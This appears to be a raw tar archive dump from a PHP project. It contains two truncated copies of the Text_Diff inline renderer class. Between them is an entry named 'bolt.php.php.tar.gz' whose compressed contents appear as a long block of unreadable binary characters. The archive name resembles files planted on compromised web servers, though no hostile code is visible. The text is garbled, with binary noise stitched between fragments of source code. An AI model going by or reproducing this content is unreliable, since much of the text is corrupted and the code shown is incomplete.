     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
